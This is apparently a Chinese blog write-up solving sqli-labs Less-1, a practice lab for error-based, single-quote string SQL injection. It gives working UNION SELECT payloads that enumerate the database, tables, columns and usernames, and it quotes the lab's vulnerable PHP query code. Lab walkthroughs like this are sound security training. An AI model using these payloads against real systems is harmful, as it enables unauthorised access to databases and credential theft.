首页 > 其他分享 >[网络安全]Less-1 GET - Error based - Single quotes - String:基于错误的GET单引号字符型注入

[网络安全]Less-1 GET - Error based - Single quotes - String:基于错误的GET单引号字符型注入

时间:2023-05-02 22:11:07浏览次数:42  
标签:based String GET union --+ table schema select name

判断注入类型

在这里插入图片描述GET1 and 1=2仍有正常回显,说明该漏洞类型不是数字型注入。
在这里插入图片描述
GET1' and '1'='2没有回显,说明该漏洞类型为字符型注入。

判断注入点个数

GETid=1' order by 4 --+ 回显Unknown
在这里插入图片描述GETid=1' order by 3 --+ 回显如下:
在这里插入图片描述说明注入点个数为3个
即可构造语句如下

-1' union select 1,2,xx form xx; --+

查库名

-1' union select 1,2,database(); --+

在这里插入图片描述

查表名

Payload1:

-1' union select 1,2,table_name from information_schema.tables where table_schema='库名'; --+

实例如下:

-1' union select 1,2,table_name from information_schema.tables where table_schema='security'; --+

仅回显一个表名
在这里插入图片描述

Payload2:

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显所有表名
在这里插入图片描述

区别成因

查看部分源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}

由以上可知,后端通过mysql_fetch_array()获取当前行数据,而注入语句返回的结果又是以行排序的,所以仅返回了位于首行的email表名

Group_concat

group_concat函数能将查询结果集合起来,在Payload2中,由于该函数集合了所有的表名到一行中,导致所有表名被回显。

查users表的列名

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'; --+

实例如下:

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

在这里插入图片描述

查字段

-1' union select 1,2,group_concat(列名) from 库名.表名; --+

实例如下:

-1' union select 1,2,group_concat(username) from security.users; --+

在这里插入图片描述

总结

以上为[网络安全]sqli-labs Less-1 解题详析,后续将分享[网络安全]sqli-labs Less-2 解题详析
原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析
我是秋说,我们下次见。

标签:based,String,GET,union,--+,table,schema,select,name
From: https://www.cnblogs.com/qiushuo/p/17368401.html

相关文章

  • 15、string
    1.string是什么?Go中的字符串是一个字节的切片,可以通过将其内容封装起在""中来创建字符串。Go中的的字符串是Unicode兼容的并且是UTF-8编码的。2.string的使用/***@authorly(个人博客:https://www.cnblogs.com/qbbit)*@date2023/5/211:32*@tags喜欢就去努力的争......
  • MFC-GetHeaderCtrl获取列头指针
     CHeaderCtrl*phead=mylist4.GetHeaderCtrl();   ......
  • 05 Real-Time Physically-Based Materials
    1.MicrofacetBRDF1.1菲涅尔项菲涅尔项:反射光线强度与入射角的关系。对于绝缘体而言,观察方向越是平行于平面,反射越强,图像越清晰;因为镜面反射可逆,所以反之亦然。对于金属而言,规律相似,但是变化没有绝缘体那么明显。菲涅尔项的值与角度以及两个介质的折射率有关,可以采用简......
  • Handling Information Loss of Graph Neural Networks for Session-based Recommendat
    目录概符号说明存在的问题LossysessionencodingproblemIneffectivelong-rangedependencycapturingproblemLESSRS2MGS2SG模型EOPA(Edge-OrderPreservingAggregation)SGAT(ShortcutGraphAttention)叠加代码ChenT.andWongR.C.Handlinginformationlossofgrap......
  • 在EditText中插入表情图片 (CharacterStyle&SpannableString)
    EditText通常用于显示文字,但有时候也需要在文字中夹杂一些图片,比如QQ中就可以使用表情图片,又比如需要的文字高亮显示等等,如何在android中也做到这样呢?记得android中有个android.text包,这里提供了对文本的强大的处理功能。添加图片主要用SpannableString和......
  • MFC-GetPixel获取指定点的颜色
     COLORREFcol1=GetPixel(hdc1,100,100);//获取指定点的颜色/*参数1:HDChdc设备环境句柄参数2:intX指定点的X轴坐标,按逻辑单位表示坐标参数3:intY指定点的Y轴坐标,按逻辑单位表示坐标返回值:返回值是该象像点的RGB值。如果指定的像素......
  • MFC-CListCtrl-GetFirstSelectedItemPosition获取第一个选定项的位置
     POSITIONpos=mylist4.GetFirstSelectedItemPosition();//获取第一个选定项的位置/*返回值:成功返回行号;NULL,如果项未被选定*/str.Format(_T("pos=%d\r\n"),pos);OutputDebugString(str);   ......
  • MFC-CListCtrl-GetItemState获取指定行的状态
     for(inti=0;i<mylist4.GetItemCount();i++){UINTn=mylist4.GetItemState(i,LVIS_SELECTED);//获取指定行的状态/*参数1:intnItem行号参数2:UINTnMask要获取的状态LVIS_SELECTED=2选中状态LVIS_FOC......
  • MFC-GetItemText获取文本
     CStringstr1=mylist4.GetItemText(1,1);//获取文本/*参数1:intnItem行号参数2:intnSubItem列号*/OutputDebugString(str1);   ......
  • MFC-GetExtendedStyle获取扩展样式
     DWORDExStyles=mylist4.GetExtendedStyle();//获取扩展样式DWORDoldstyle=mylist4.SetExtendedStyle(ExStyles|LVS_EX_FULLROWSELECT);//设置扩展样式/*指定的扩展样式LVS_EX_GRIDLINES//绘制表格LVS_EX_SUBITEMIMAGES//......